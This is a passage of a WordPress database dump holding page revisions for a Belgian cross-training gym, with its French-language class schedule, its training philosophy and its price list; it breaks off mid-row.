(223, 1, '2013-07-03 19:02:56', '2013-07-03 19:02:56', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 19:02:56', '2013-07-03 19:02:56', '', 11, 'http://www.crosstrainingcenter.be/?p=223', 0, 'revision', '', 0),
(224, 1, '2013-06-16 13:58:09', '2013-06-16 13:58:09', '&lt;h2&gt;Assurer un entraînement de qualité :&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-102 alignleft\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : &lt;strong&gt;récupérer&lt;/strong&gt;, &lt;strong&gt;prévenir&lt;/strong&gt; et &lt;strong&gt;améliorer&lt;/strong&gt;. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assuré.\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;L\'activité physique, l\'alimentation et le stress : une approche globale&lt;/h2&gt;\r\n&amp;nbsp;\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-103 alignleft\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;Afin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 13:58:09', '2013-06-16 13:58:09', '', 5, 'http://www.crosstrainingcenter.be/?p=224', 0, 'revision', '', 0),
(225, 1, '2013-07-03 19:05:33', '2013-07-03 19:05:33', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-3', '', '', '2013-07-03 19:05:33', '2013-07-03 19:05:33', '', 214, 'http://www.crosstrainingcenter.be/?p=225', 0, 'revision', '', 0),
(226, 1, '2013-07-03 19:06:31', '2013-07-03 19:06:31', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-4', '', '', '2013-07-03 19:06:31', '2013-07-03 19:06:31', '', 214, 'http://www.crosstrainingcenter.be/?p=226', 0, 'revision', '', 0),
(342, 2, '2013-07-03 20:45:08', '2013-07-03 20:45:08', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-9', '', '', '2013-07-03 20:45:08', '2013-07-03 20:45:08', '', 214, 'http://www.crosstrainingcenter.be/214-revision-9/', 0, 'revision', '', 0),
(227, 1, '2013-07-03 19:09:04', '2013-07-03 19:09:04', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-5', '', '', '2013-07-03 19:09:04', '2013-07-03 19:09:04', '', 214, 'http://www.crosstrainingcenter.be/?p=227', 0, 'revision', '', 0),
(228, 1, '2013-07-03 19:10:20', '2013-07-03 19:10:20', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;&lt;strong&gt;1 séance :&lt;/strong&gt; 9.00€\r\n&lt;strong&gt;1 carte de 10 séances :&lt;/strong&gt; 80.00€ (valable 3 mois)\r\n&lt;strong&gt;1 carte de 20 séances :&lt;/strong&gt; 120.00€ (valable 4 mois)\r\n&lt;strong&gt;Abonnement 1 mois illimité :&lt;/strong&gt; 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-6', '', '', '2013-07-03 19:10:20', '2013-07-03 19:10:20', '', 214, 'http://www.crosstrainingcenter.be/?p=228', 0, 'revision', '', 0),
(230, 1, '2013-07-03 19:06:30', '2013-07-03 19:06:30', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 19:06:30', '2013-07-03 19:06:30', '', 11, 'http://www.crosstrainingcenter.be/?p=230', 0, 'revision', '', 0),
(229, 1, '2013-07-03 19:11:24', '2013-07-03 19:11:24', '&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;&lt;strong&gt;1 séance :&lt;/strong&gt; 9.00€\r\n&lt;strong&gt;1 carte de 10 séances :&lt;/strong&gt; 80.00€ (valable 3 mois)\r\n&lt;strong&gt;1 carte de 20 séances :&lt;/strong&gt; 120.00€ (valable 4 mois)\r\n&lt;strong&gt;Abonnement 1 mois illimité :&lt;/strong&gt; 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;&lt;strong&gt;1er rendez-vous : bilan alimentaire et programme personnalisé :&lt;/strong&gt; 50.00€\r\n&lt;strong&gt;Suivi&lt;/strong&gt; 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Prix', '', 'inherit', 'open', 'open', '', '214-revision-7', '', '', '2013-07-03 19:11:24', '2013-07-03 19:11:24', '', 214, 'http://www.crosstrainingcenter.be/?p=229', 0, 'revision', '', 0),
(231, 1, '2013-07-03 19:12:49', '2013-07-03 19:12:49', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td 